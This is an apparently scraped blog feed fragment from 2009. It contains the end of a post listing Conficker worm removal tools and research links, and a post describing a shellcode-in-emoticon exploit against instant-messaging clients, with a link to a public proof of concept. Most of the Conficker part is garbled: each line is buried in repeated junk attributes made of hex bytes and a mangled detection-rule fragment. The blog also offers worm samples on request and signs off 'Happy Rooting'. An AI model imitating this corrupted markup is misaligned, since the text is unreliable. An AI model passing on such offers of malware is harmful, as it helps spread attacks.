04="" c3="" f6="" c6="" c4="" 01="" c2="" 82="" ff="" b5="" dc="" 95="" e0="" 17="" d0="" 85="" d8="" c7="" 9a="" 9d="" 07="" b2="" 0c="" b1="" b6="" a8="" a9="" ab="" aa="" e7="" 99="" 1d="" ac="" b0="" b4="" fe="" eb="" conficker="" a="" b="" http="" get="" check="" in="" signatures="" by="" kevin="" alert="" tcp="" home_net="" any=""&gt;-http://data2.kaspersky-labs.com:8080/special/KKiller_v3.4.1.zip&lt;/o8|92|\;|d3|wg|02&gt;&lt;br /&gt;&lt;o8|92|\;|d3|wg|02 16="" 08="" a2="" 03="" c5="" ea="" b3="" c0="" 96="" 92="" 8f="" 88="" cf="" bc="" 0f="" d6="" f7="" 05="" 04="" c3="" f6="" c6="" c4="" 01="" c2="" 82="" ff="" b5="" dc="" 95="" e0="" 17="" d0="" 85="" d8="" c7="" 9a="" 9d="" 07="" b2="" 0c="" b1="" b6="" a8="" a9="" ab="" aa="" e7="" 99="" 1d="" ac="" b0="" b4="" fe="" eb="" conficker="" a="" b="" http="" get="" check="" in="" signatures="" by="" kevin="" alert="" tcp="" home_net="" any=""&gt;-ftp://ftp.f-secure.com/anti-virus/tools/beta/f-downadup.zip&lt;/o8|92|\;|d3|wg|02&gt;&lt;br /&gt;&lt;o8|92|\;|d3|wg|02 16="" 08="" a2="" 03="" c5="" ea="" b3="" c0="" 96="" 92="" 8f="" 88="" cf="" bc="" 0f="" d6="" f7="" 05="" 04="" c3="" f6="" c6="" c4="" 01="" c2="" 82="" ff="" b5="" dc="" 95="" e0="" 17="" d0="" 85="" d8="" c7="" 9a="" 9d="" 07="" b2="" 0c="" b1="" b6="" a8="" a9="" ab="" aa="" e7="" 99="" 1d="" ac="" b0="" b4="" fe="" eb="" conficker="" a="" b="" http="" get="" check="" in="" signatures="" by="" kevin="" alert="" tcp="" home_net="" any=""&gt;-http://vil.nai.com/vil/stinger/&lt;/o8|92|\;|d3|wg|02&gt;&lt;br /&gt;&lt;o8|92|\;|d3|wg|02 16="" 08="" a2="" 03="" c5="" ea="" b3="" c0="" 96="" 92="" 8f="" 88="" cf="" bc="" 0f="" d6="" f7="" 05="" 04="" c3="" f6="" c6="" c4="" 01="" c2="" 82="" ff="" b5="" dc="" 95="" e0="" 17="" d0="" 85="" d8="" c7="" 9a="" 9d="" 07="" b2="" 0c="" b1="" b6="" a8="" a9="" ab="" aa="" e7="" 99="" 1d="" ac="" b0="" b4="" fe="" eb="" conficker="" a="" b="" http="" get="" check="" in="" signatures="" by="" kevin="" alert="" tcp="" home_net="" any=""&gt;-http://www.microsoft.com/downloads/details.aspx?FamilyId=AD724AE0-E72D-4F54-9AB3-75B8EB148356&amp;amp;displaylang=en&lt;/o8|92|\;|d3|wg|02&gt;&lt;br /&gt;&lt;o8|92|\;|d3|wg|02 16="" 08="" a2="" 03="" c5="" ea="" b3="" c0="" 96="" 92="" 8f="" 88="" cf="" bc="" 0f="" d6="" f7="" 05="" 04="" c3="" f6="" c6="" c4="" 01="" c2="" 82="" ff="" b5="" dc="" 95="" e0="" 17="" d0="" 85="" d8="" c7="" 9a="" 9d="" 07="" b2="" 0c="" b1="" b6="" a8="" a9="" ab="" aa="" e7="" 99="" 1d="" ac="" b0="" b4="" fe="" eb="" conficker="" a="" b="" http="" get="" check="" in="" signatures="" by="" kevin="" alert="" tcp="" home_net="" any=""&gt;-http://www.sophos.com/products/free-tools/conficker-removal-tool.html&lt;/o8|92|\;|d3|wg|02&gt;&lt;br /&gt;&lt;o8|92|\;|d3|wg|02 16="" 08="" a2="" 03="" c5="" ea="" b3="" c0="" 96="" 92="" 8f="" 88="" cf="" bc="" 0f="" d6="" f7="" 05="" 04="" c3="" f6="" c6="" c4="" 01="" c2="" 82="" ff="" b5="" dc="" 95="" e0="" 17="" d0="" 85="" d8="" c7="" 9a="" 9d="" 07="" b2="" 0c="" b1="" b6="" a8="" a9="" ab="" aa="" e7="" 99="" 1d="" ac="" b0="" b4="" fe="" eb="" conficker="" a="" b="" http="" get="" check="" in="" signatures="" by="" kevin="" alert="" tcp="" home_net="" any=""&gt;-http://www.symantec.com/content/en/us/global/removal_tool/threat_writeups/FixDwndp.exe&lt;/o8|92|\;|d3|wg|02&gt;&lt;br /&gt;&lt;o8|92|\;|d3|wg|02 16="" 08="" a2="" 03="" c5="" ea="" b3="" c0="" 96="" 92="" 8f="" 88="" cf="" bc="" 0f="" d6="" f7="" 05="" 04="" c3="" f6="" c6="" c4="" 01="" c2="" 82="" ff="" b5="" dc="" 95="" e0="" 17="" d0="" 85="" d8="" c7="" 9a="" 9d="" 07="" b2="" 0c="" b1="" b6="" a8="" a9="" ab="" aa="" e7="" 99="" 1d="" ac="" b0="" b4="" fe="" eb="" conficker="" a="" b="" http="" get="" check="" in="" signatures="" by="" kevin="" alert="" tcp="" home_net="" any=""&gt;-http://www.trendmicro.com/ftp/products/pattern/spyware/fixtool/SysClean-WORM_DOWNAD.zip&lt;/o8|92|\;|d3|wg|02&gt;&lt;br /&gt;&lt;o8|92|\;|d3|wg|02 16="" 08="" a2="" 03="" c5="" ea="" b3="" c0="" 96="" 92="" 8f="" 88="" cf="" bc="" 0f="" d6="" f7="" 05="" 04="" c3="" f6="" c6="" c4="" 01="" c2="" 82="" ff="" b5="" dc="" 95="" e0="" 17="" d0="" 85="" d8="" c7="" 9a="" 9d="" 07="" b2="" 0c="" b1="" b6="" a8="" a9="" ab="" aa="" e7="" 99="" 1d="" ac="" b0="" b4="" fe="" eb="" conficker="" a="" b="" http="" get="" check="" in="" signatures="" by="" kevin="" alert="" tcp="" home_net="" any=""&gt;&lt;/o8|92|\;|d3|wg|02&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;o8|92|\;|d3|wg|02 16="" 08="" a2="" 03="" c5="" ea="" b3="" c0="" 96="" 92="" 8f="" 88="" cf="" bc="" 0f="" d6="" f7="" 05="" 04="" c3="" f6="" c6="" c4="" 01="" c2="" 82="" ff="" b5="" dc="" 95="" e0="" 17="" d0="" 85="" d8="" c7="" 9a="" 9d="" 07="" b2="" 0c="" b1="" b6="" a8="" a9="" ab="" aa="" e7="" 99="" 1d="" ac="" b0="" b4="" fe="" eb="" conficker="" a="" b="" http="" get="" check="" in="" signatures="" by="" kevin="" alert="" tcp="" home_net="" any=""&gt;More Up-To-Date information of current removal tools at:&lt;/o8|92|\;|d3|wg|02&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;o8|92|\;|d3|wg|02 16="" 08="" a2="" 03="" c5="" ea="" b3="" c0="" 96="" 92="" 8f="" 88="" cf="" bc="" 0f="" d6="" f7="" 05="" 04="" c3="" f6="" c6="" c4="" 01="" c2="" 82="" ff="" b5="" dc="" 95="" e0="" 17="" d0="" 85="" d8="" c7="" 9a="" 9d="" 07="" b2="" 0c="" b1="" b6="" a8="" a9="" ab="" aa="" e7="" 99="" 1d="" ac="" b0="" b4="" fe="" eb="" conficker="" a="" b="" http="" get="" check="" in="" signatures="" by="" kevin="" alert="" tcp="" home_net="" any=""&gt;http://www.dshield.org/diary.html?storyid=5860&lt;/o8|92|\;|d3|wg|02&gt;&lt;/span&gt;&lt;br /&gt;&lt;o8|92|\;|d3|wg|02 16="" 08="" a2="" 03="" c5="" ea="" b3="" c0="" 96="" 92="" 8f="" 88="" cf="" bc="" 0f="" d6="" f7="" 05="" 04="" c3="" f6="" c6="" c4="" 01="" c2="" 82="" ff="" b5="" dc="" 95="" e0="" 17="" d0="" 85="" d8="" c7="" 9a="" 9d="" 07="" b2="" 0c="" b1="" b6="" a8="" a9="" ab="" aa="" e7="" 99="" 1d="" ac="" b0="" b4="" fe="" eb="" conficker="" a="" b="" http="" get="" check="" in="" signatures="" by="" kevin="" alert="" tcp="" home_net="" any=""&gt;&lt;/o8|92|\;|d3|wg|02&gt;&lt;br /&gt;&lt;o8|92|\;|d3|wg|02 16="" 08="" a2="" 03="" c5="" ea="" b3="" c0="" 96="" 92="" 8f="" 88="" cf="" bc="" 0f="" d6="" f7="" 05="" 04="" c3="" f6="" c6="" c4="" 01="" c2="" 82="" ff="" b5="" dc="" 95="" e0="" 17="" d0="" 85="" d8="" c7="" 9a="" 9d="" 07="" b2="" 0c="" b1="" b6="" a8="" a9="" ab="" aa="" e7="" 99="" 1d="" ac="" b0="" b4="" fe="" eb="" conficker="" a="" b="" http="" get="" check="" in="" signatures="" by="" kevin="" alert="" tcp="" home_net="" any=""&gt;Memory Disinfector&lt;/o8|92|\;|d3|wg|02&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;o8|92|\;|d3|wg|02 16="" 08="" a2="" 03="" c5="" ea="" b3="" c0="" 96="" 92="" 8f="" 88="" cf="" bc="" 0f="" d6="" f7="" 05="" 04="" c3="" f6="" c6="" c4="" 01="" c2="" 82="" ff="" b5="" dc="" 95="" e0="" 17="" d0="" 85="" d8="" c7="" 9a="" 9d="" 07="" b2="" 0c="" b1="" b6="" a8="" a9="" ab="" aa="" e7="" 99="" 1d="" ac="" b0="" b4="" fe="" eb="" conficker="" a="" b="" http="" get="" check="" in="" signatures="" by="" kevin="" alert="" tcp="" home_net="" any=""&gt;http://iv.cs.uni-bonn.de/uploads/media/memscan_01.zip&lt;/o8|92|\;|d3|wg|02&gt;&lt;/span&gt;&lt;br /&gt;&lt;o8|92|\;|d3|wg|02 16="" 08="" a2="" 03="" c5="" ea="" b3="" c0="" 96="" 92="" 8f="" 88="" cf="" bc="" 0f="" d6="" f7="" 05="" 04="" c3="" f6="" c6="" c4="" 01="" c2="" 82="" ff="" b5="" dc="" 95="" e0="" 17="" d0="" 85="" d8="" c7="" 9a="" 9d="" 07="" b2="" 0c="" b1="" b6="" a8="" a9="" ab="" aa="" e7="" 99="" 1d="" ac="" b0="" b4="" fe="" eb="" conficker="" a="" b="" http="" get="" check="" in="" signatures="" by="" kevin="" alert="" tcp="" home_net="" any=""&gt;&lt;/o8|92|\;|d3|wg|02&gt;&lt;br /&gt;&lt;o8|92|\;|d3|wg|02 16="" 08="" a2="" 03="" c5="" ea="" b3="" c0="" 96="" 92="" 8f="" 88="" cf="" bc="" 0f="" d6="" f7="" 05="" 04="" c3="" f6="" c6="" c4="" 01="" c2="" 82="" ff="" b5="" dc="" 95="" e0="" 17="" d0="" 85="" d8="" c7="" 9a="" 9d="" 07="" b2="" 0c="" b1="" b6="" a8="" a9="" ab="" aa="" e7="" 99="" 1d="" ac="" b0="" b4="" fe="" eb="" conficker="" a="" b="" http="" get="" check="" in="" signatures="" by="" kevin="" alert="" tcp="" home_net="" any=""&gt;Detecting Conficker Files and Registry&lt;/o8|92|\;|d3|wg|02&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;o8|92|\;|d3|wg|02 16="" 08="" a2="" 03="" c5="" ea="" b3="" c0="" 96="" 92="" 8f="" 88="" cf="" bc="" 0f="" d6="" f7="" 05="" 04="" c3="" f6="" c6="" c4="" 01="" c2="" 82="" ff="" b5="" dc="" 95="" e0="" 17="" d0="" 85="" d8="" c7="" 9a="" 9d="" 07="" b2="" 0c="" b1="" b6="" a8="" a9="" ab="" aa="" e7="" 99="" 1d="" ac="" b0="" b4="" fe="" eb="" conficker="" a="" b="" http="" get="" check="" in="" signatures="" by="" kevin="" alert="" tcp="" home_net="" any=""&gt;http://iv.cs.uni-bonn.de/uploads/media/conficker_names.zip&lt;/o8|92|\;|d3|wg|02&gt;&lt;/span&gt;&lt;br /&gt;&lt;o8|92|\;|d3|wg|02 16="" 08="" a2="" 03="" c5="" ea="" b3="" c0="" 96="" 92="" 8f="" 88="" cf="" bc="" 0f="" d6="" f7="" 05="" 04="" c3="" f6="" c6="" c4="" 01="" c2="" 82="" ff="" b5="" dc="" 95="" e0="" 17="" d0="" 85="" d8="" c7="" 9a="" 9d="" 07="" b2="" 0c="" b1="" b6="" a8="" a9="" ab="" aa="" e7="" 99="" 1d="" ac="" b0="" b4="" fe="" eb="" conficker="" a="" b="" http="" get="" check="" in="" signatures="" by="" kevin="" alert="" tcp="" home_net="" any=""&gt;&lt;/o8|92|\;|d3|wg|02&gt;&lt;br /&gt;&lt;o8|92|\;|d3|wg|02 16="" 08="" a2="" 03="" c5="" ea="" b3="" c0="" 96="" 92="" 8f="" 88="" cf="" bc="" 0f="" d6="" f7="" 05="" 04="" c3="" f6="" c6="" c4="" 01="" c2="" 82="" ff="" b5="" dc="" 95="" e0="" 17="" d0="" 85="" d8="" c7="" 9a="" 9d="" 07="" b2="" 0c="" b1="" b6="" a8="" a9="" ab="" aa="" e7="" 99="" 1d="" ac="" b0="" b4="" fe="" eb="" conficker="" a="" b="" http="" get="" check="" in="" signatures="" by="" kevin="" alert="" tcp="" home_net="" any=""&gt;Nonficker Vaxination Tool&lt;/o8|92|\;|d3|wg|02&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;o8|92|\;|d3|wg|02 16="" 08="" a2="" 03="" c5="" ea="" b3="" c0="" 96="" 92="" 8f="" 88="" cf="" bc="" 0f="" d6="" f7="" 05="" 04="" c3="" f6="" c6="" c4="" 01="" c2="" 82="" ff="" b5="" dc="" 95="" e0="" 17="" d0="" 85="" d8="" c7="" 9a="" 9d="" 07="" b2="" 0c="" b1="" b6="" a8="" a9="" ab="" aa="" e7="" 99="" 1d="" ac="" b0="" b4="" fe="" eb="" conficker="" a="" b="" http="" get="" check="" in="" signatures="" by="" kevin="" alert="" tcp="" home_net="" any=""&gt;http://iv.cs.uni-bonn.de/uploads/media/nonficker_01.zip&lt;/o8|92|\;|d3|wg|02&gt;&lt;/span&gt;&lt;br /&gt;&lt;o8|92|\;|d3|wg|02 16="" 08="" a2="" 03="" c5="" ea="" b3="" c0="" 96="" 92="" 8f="" 88="" cf="" bc="" 0f="" d6="" f7="" 05="" 04="" c3="" f6="" c6="" c4="" 01="" c2="" 82="" ff="" b5="" dc="" 95="" e0="" 17="" d0="" 85="" d8="" c7="" 9a="" 9d="" 07="" b2="" 0c="" b1="" b6="" a8="" a9="" ab="" aa="" e7="" 99="" 1d="" ac="" b0="" b4="" fe="" eb="" conficker="" a="" b="" http="" get="" check="" in="" signatures="" by="" kevin="" alert="" tcp="" home_net="" any=""&gt;&lt;/o8|92|\;|d3|wg|02&gt;&lt;br /&gt;&lt;o8|92|\;|d3|wg|02 16="" 08="" a2="" 03="" c5="" ea="" b3="" c0="" 96="" 92="" 8f="" 88="" cf="" bc="" 0f="" d6="" f7="" 05="" 04="" c3="" f6="" c6="" c4="" 01="" c2="" 82="" ff="" b5="" dc="" 95="" e0="" 17="" d0="" 85="" d8="" c7="" 9a="" 9d="" 07="" b2="" 0c="" b1="" b6="" a8="" a9="" ab="" aa="" e7="" 99="" 1d="" ac="" b0="" b4="" fe="" eb="" conficker="" a="" b="" http="" get="" check="" in="" signatures="" by="" kevin="" alert="" tcp="" home_net="" any=""&gt;&lt;/o8|92|\;|d3|wg|02&gt;&lt;o8|92|\;|d3|wg|02 16="" 08="" a2="" 03="" c5="" ea="" b3="" c0="" 96="" 92="" 8f="" 88="" cf="" bc="" 0f="" d6="" f7="" 05="" 04="" c3="" f6="" c6="" c4="" 01="" c2="" 82="" ff="" b5="" dc="" 95="" e0="" 17="" d0="" 85="" d8="" c7="" 9a="" 9d="" 07="" b2="" 0c="" b1="" b6="" a8="" a9="" ab="" aa="" e7="" 99="" 1d="" ac="" b0="" b4="" fe="" eb="" conficker="" a="" b="" http="" get="" check="" in="" signatures="" by="" kevin="" alert="" tcp="" home_net="" any=""&gt;4. &lt;span style="font-style: italic;"&gt;Sandbox Detection Results (Conficker C)&lt;/span&gt;&lt;/o8|92|\;|d3|wg|02&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;o8|92|\;|d3|wg|02 16="" 08="" a2="" 03="" c5="" ea="" b3="" c0="" 96="" 92="" 8f="" 88="" cf="" bc="" 0f="" d6="" f7="" 05="" 04="" c3="" f6="" c6="" c4="" 01="" c2="" 82="" ff="" b5="" dc="" 95="" e0="" 17="" d0="" 85="" d8="" c7="" 9a="" 9d="" 07="" b2="" 0c="" b1="" b6="" a8="" a9="" ab="" aa="" e7="" 99="" 1d="" ac="" b0="" b4="" fe="" eb="" conficker="" a="" b="" http="" get="" check="" in="" signatures="" by="" kevin="" alert="" tcp="" home_net="" any=""&gt;-http://mtc.sri.com/Conficker/addendumC/appendix4.html&lt;/o8|92|\;|d3|wg|02&gt;&lt;/span&gt;&lt;br /&gt;&lt;o8|92|\;|d3|wg|02 16="" 08="" a2="" 03="" c5="" ea="" b3="" c0="" 96="" 92="" 8f="" 88="" cf="" bc="" 0f="" d6="" f7="" 05="" 04="" c3="" f6="" c6="" c4="" 01="" c2="" 82="" ff="" b5="" dc="" 95="" e0="" 17="" d0="" 85="" d8="" c7="" 9a="" 9d="" 07="" b2="" 0c="" b1="" b6="" a8="" a9="" ab="" aa="" e7="" 99="" 1d="" ac="" b0="" b4="" fe="" eb="" conficker="" a="" b="" http="" get="" check="" in="" signatures="" by="" kevin="" alert="" tcp="" home_net="" any=""&gt;&lt;/o8|92|\;|d3|wg|02&gt;&lt;br /&gt;&lt;o8|92|\;|d3|wg|02 16="" 08="" a2="" 03="" c5="" ea="" b3="" c0="" 96="" 92="" 8f="" 88="" cf="" bc="" 0f="" d6="" f7="" 05="" 04="" c3="" f6="" c6="" c4="" 01="" c2="" 82="" ff="" b5="" dc="" 95="" e0="" 17="" d0="" 85="" d8="" c7="" 9a="" 9d="" 07="" b2="" 0c="" b1="" b6="" a8="" a9="" ab="" aa="" e7="" 99="" 1d="" ac="" b0="" b4="" fe="" eb="" conficker="" a="" b="" http="" get="" check="" in="" signatures="" by="" kevin="" alert="" tcp="" home_net="" any=""&gt;5. &lt;span style="font-style: italic;"&gt;Process Image comparison of Conficker 'B' and 'C'&lt;/span&gt;&lt;/o8|92|\;|d3|wg|02&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;o8|92|\;|d3|wg|02 16="" 08="" a2="" 03="" c5="" ea="" b3="" c0="" 96="" 92="" 8f="" 88="" cf="" bc="" 0f="" d6="" f7="" 05="" 04="" c3="" f6="" c6="" c4="" 01="" c2="" 82="" ff="" b5="" dc="" 95="" e0="" 17="" d0="" 85="" d8="" c7="" 9a="" 9d="" 07="" b2="" 0c="" b1="" b6="" a8="" a9="" ab="" aa="" e7="" 99="" 1d="" ac="" b0="" b4="" fe="" eb="" conficker="" a="" b="" http="" get="" check="" in="" signatures="" by="" kevin="" alert="" tcp="" home_net="" any=""&gt;-http://mtc.sri.com/Conficker/addendumC/HMA_Compare_ConfB2_ConfC/&lt;/o8|92|\;|d3|wg|02&gt;&lt;/span&gt;&lt;br /&gt;&lt;o8|92|\;|d3|wg|02 16="" 08="" a2="" 03="" c5="" ea="" b3="" c0="" 96="" 92="" 8f="" 88="" cf="" bc="" 0f="" d6="" f7="" 05="" 04="" c3="" f6="" c6="" c4="" 01="" c2="" 82="" ff="" b5="" dc="" 95="" e0="" 17="" d0="" 85="" d8="" c7="" 9a="" 9d="" 07="" b2="" 0c="" b1="" b6="" a8="" a9="" ab="" aa="" e7="" 99="" 1d="" ac="" b0="" b4="" fe="" eb="" conficker="" a="" b="" http="" get="" check="" in="" signatures="" by="" kevin="" alert="" tcp="" home_net="" any=""&gt;&lt;/o8|92|\;|d3|wg|02&gt;&lt;br /&gt;&lt;o8|92|\;|d3|wg|02 16="" 08="" a2="" 03="" c5="" ea="" b3="" c0="" 96="" 92="" 8f="" 88="" cf="" bc="" 0f="" d6="" f7="" 05="" 04="" c3="" f6="" c6="" c4="" 01="" c2="" 82="" ff="" b5="" dc="" 95="" e0="" 17="" d0="" 85="" d8="" c7="" 9a="" 9d="" 07="" b2="" 0c="" b1="" b6="" a8="" a9="" ab="" aa="" e7="" 99="" 1d="" ac="" b0="" b4="" fe="" eb="" conficker="" a="" b="" http="" get="" check="" in="" signatures="" by="" kevin="" alert="" tcp="" home_net="" any=""&gt;6. &lt;span style="font-style: italic;"&gt;Conficker.C Domain Collisions&lt;/span&gt;&lt;/o8|92|\;|d3|wg|02&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;o8|92|\;|d3|wg|02 16="" 08="" a2="" 03="" c5="" ea="" b3="" c0="" 96="" 92="" 8f="" 88="" cf="" bc="" 0f="" d6="" f7="" 05="" 04="" c3="" f6="" c6="" c4="" 01="" c2="" 82="" ff="" b5="" dc="" 95="" e0="" 17="" d0="" 85="" d8="" c7="" 9a="" 9d="" 07="" b2="" 0c="" b1="" b6="" a8="" a9="" ab="" aa="" e7="" 99="" 1d="" ac="" b0="" b4="" fe="" eb="" conficker="" a="" b="" http="" get="" check="" in="" signatures="" by="" kevin="" alert="" tcp="" home_net="" any=""&gt;-http://iv.cs.uni-bonn.de/uploads/media/c_domains_april2009.zip&lt;/o8|92|\;|d3|wg|02&gt;&lt;/span&gt;&lt;br /&gt;&lt;o8|92|\;|d3|wg|02 16="" 08="" a2="" 03="" c5="" ea="" b3="" c0="" 96="" 92="" 8f="" 88="" cf="" bc="" 0f="" d6="" f7="" 05="" 04="" c3="" f6="" c6="" c4="" 01="" c2="" 82="" ff="" b5="" dc="" 95="" e0="" 17="" d0="" 85="" d8="" c7="" 9a="" 9d="" 07="" b2="" 0c="" b1="" b6="" a8="" a9="" ab="" aa="" e7="" 99="" 1d="" ac="" b0="" b4="" fe="" eb="" conficker="" a="" b="" http="" get="" check="" in="" signatures="" by="" kevin="" alert="" tcp="" home_net="" any=""&gt;&lt;/o8|92|\;|d3|wg|02&gt;&lt;br /&gt;&lt;o8|92|\;|d3|wg|02 16="" 08="" a2="" 03="" c5="" ea="" b3="" c0="" 96="" 92="" 8f="" 88="" cf="" bc="" 0f="" d6="" f7="" 05="" 04="" c3="" f6="" c6="" c4="" 01="" c2="" 82="" ff="" b5="" dc="" 95="" e0="" 17="" d0="" 85="" d8="" c7="" 9a="" 9d="" 07="" b2="" 0c="" b1="" b6="" a8="" a9="" ab="" aa="" e7="" 99="" 1d="" ac="" b0="" b4="" fe="" eb="" conficker="" a="" b="" http="" get="" check="" in="" signatures="" by="" kevin="" alert="" tcp="" home_net="" any=""&gt;7. &lt;span style="font-style: italic;"&gt;Domain Generator Filtered Address Ranges&lt;/span&gt;&lt;/o8|92|\;|d3|wg|02&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;o8|92|\;|d3|wg|02 16="" 08="" a2="" 03="" c5="" ea="" b3="" c0="" 96="" 92="" 8f="" 88="" cf="" bc="" 0f="" d6="" f7="" 05="" 04="" c3="" f6="" c6="" c4="" 01="" c2="" 82="" ff="" b5="" dc="" 95="" e0="" 17="" d0="" 85="" d8="" c7="" 9a="" 9d="" 07="" b2="" 0c="" b1="" b6="" a8="" a9="" ab="" aa="" e7="" 99="" 1d="" ac="" b0="" b4="" fe="" eb="" conficker="" a="" b="" http="" get="" check="" in="" signatures="" by="" kevin="" alert="" tcp="" home_net="" any=""&gt;-http://mtc.sri.com/Conficker/addendumC/appendix2.html&lt;/o8|92|\;|d3|wg|02&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;o8|92|\;|d3|wg|02 16="" 08="" a2="" 03="" c5="" ea="" b3="" c0="" 96="" 92="" 8f="" 88="" cf="" bc="" 0f="" d6="" f7="" 05="" 04="" c3="" f6="" c6="" c4="" 01="" c2="" 82="" ff="" b5="" dc="" 95="" e0="" 17="" d0="" 85="" d8="" c7="" 9a="" 9d="" 07="" b2="" 0c="" b1="" b6="" a8="" a9="" ab="" aa="" e7="" 99="" 1d="" ac="" b0="" b4="" fe="" eb="" conficker="" a="" b="" http="" get="" check="" in="" signatures="" by="" kevin="" alert="" tcp="" home_net="" any=""&gt;&lt;/o8|92|\;|d3|wg|02&gt;&lt;/div&gt;&lt;o8|92|\;|d3|wg|02 16="" 08="" a2="" 03="" c5="" ea="" b3="" c0="" 96="" 92="" 8f="" 88="" cf="" bc="" 0f="" d6="" f7="" 05="" 04="" c3="" f6="" c6="" c4="" 01="" c2="" 82="" ff="" b5="" dc="" 95="" e0="" 17="" d0="" 85="" d8="" c7="" 9a="" 9d="" 07="" b2="" 0c="" b1="" b6="" a8="" a9="" ab="" aa="" e7="" 99="" 1d="" ac="" b0="" b4="" fe="" eb="" conficker="" a="" b="" http="" get="" check="" in="" signatures="" by="" kevin="" alert="" tcp="" home_net="" any=""&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 255, 153);"&gt;Samples of "Conficker" worm are available on special request.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/o8|92|\;|d3|wg|02&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4484015730406869163-3020972857692697307?l=ethicalhackernet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/3020972857692697307'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/3020972857692697307'/><link rel='alternate' type='text/html' href='http://ethicalhackernet.blogspot.com/2009/04/silence-of-storm-worm-welcome-rolling.html' title='Silence of Storm Worm: Welcome the Rolling Infection of Conficker &apos;C&apos;'/><author><name>Shakeel Ali</name><uri>http://www.blogger.com/profile/06975783640708751065</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_WWO0NoYEIHQ/ShaiZ-7NocI/AAAAAAAAAGw/MPmihdvbSCI/S220/Shak+19a.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_WWO0NoYEIHQ/SdY-8cU6WRI/AAAAAAAAAFc/AQj7728JcA8/s72-c/April-2-09-pic1.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-4484015730406869163.post-4257384992812791551</id><published>2009-04-01T20:49:00.007-04:30</published><updated>2009-04-01T21:10:14.442-04:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='MSN hack'/><category scheme='http://www.blogger.com/atom/ns#' term='ICQ hack'/><category scheme='http://www.blogger.com/atom/ns#' term='remote chat shellcode hack'/><category scheme='http://www.blogger.com/atom/ns#' term='IM hack'/><category scheme='http://www.blogger.com/atom/ns#' term='smiley hack'/><category scheme='http://www.blogger.com/atom/ns#' term='Yahoo hack'/><category scheme='http://www.blogger.com/atom/ns#' term='instant messaging hack'/><category scheme='http://www.blogger.com/atom/ns#' term='IM vulnerability'/><category scheme='http://www.blogger.com/atom/ns#' term='facebook hack'/><title type='text'>Wide Exploitation of Chatting Applications (A friend's smile or the devil)</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_WWO0NoYEIHQ/SdQXSqQkahI/AAAAAAAAAFU/bFFFOaoPzW8/s1600-h/April-1-09-pic1.JPG"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 98px; height: 77px;" src="http://1.bp.blogspot.com/_WWO0NoYEIHQ/SdQXSqQkahI/AAAAAAAAAFU/bFFFOaoPzW8/s320/April-1-09-pic1.JPG" alt="" id="BLOGGER_PHOTO_ID_5319902669180267026" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;So which IM messenging service you're using today? and that you trust the most?&lt;br /&gt;&lt;br /&gt;-AIM/AOL&lt;br /&gt;-ICQ&lt;br /&gt;-MSN&lt;br /&gt;-Yahoo&lt;br /&gt;-GTalk&lt;br /&gt;-Jabber&lt;br /&gt;-Trillian&lt;br /&gt;-Pidgin&lt;br /&gt;-Gaim&lt;br /&gt;-QQ&lt;br /&gt;-Orkut&lt;br /&gt;-Facebook&lt;br /&gt;-Twitter&lt;br /&gt;-Hi5&lt;br /&gt;&lt;br /&gt;...and many others.&lt;br /&gt;&lt;br /&gt;Recently, the researchers Yoann Guillot and Julien Tinnes has came up to expose the ground reality or the root of massive attacks against instant messaging applications. The threat identified is based on the set of highly animated emoticons or simple smileys. Although, from the dark ages of underground world, this could be the old exploit. The PoC (proof-of-concept) code has been implemented under Ruby on Rails technology and is available at:&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;a href="http://www.securityfocus.com/archive/1/502327"&gt;&lt;span style="text-decoration: underline;"&gt;http://www.securityfocus.com/archive/1/502327&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;The potential of this exploit is very high and unacceptable because nearly 95% of internet users use IM applications on day to day basis. Researchers have implemented the encoder above to land any malicious shellcode inside the smiley or animated icon. However, to notice, the current implimentation is limited with the shellcode compliant with MSN based emoticons only. Code can be complied under 'C' with 'metasm' to test the exploit. This has laid a very extensive challenge for the security community to identify the attack patterns in order to protect such threats at IDS/IPS devices.&lt;br /&gt;&lt;br /&gt;Happy Rooting...&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4484015730406869163-4257384992812791551?l=ethicalhackernet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/4257384992812791551'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/4257384992812791551'/><link rel='alternate' type='text/html' href='http://ethicalhackernet.blogspot.com/2009/04/wide-exploitation-of-chatting.html' title='Wide Exploitation of Chatting Applications (A friend&apos;s smile or the 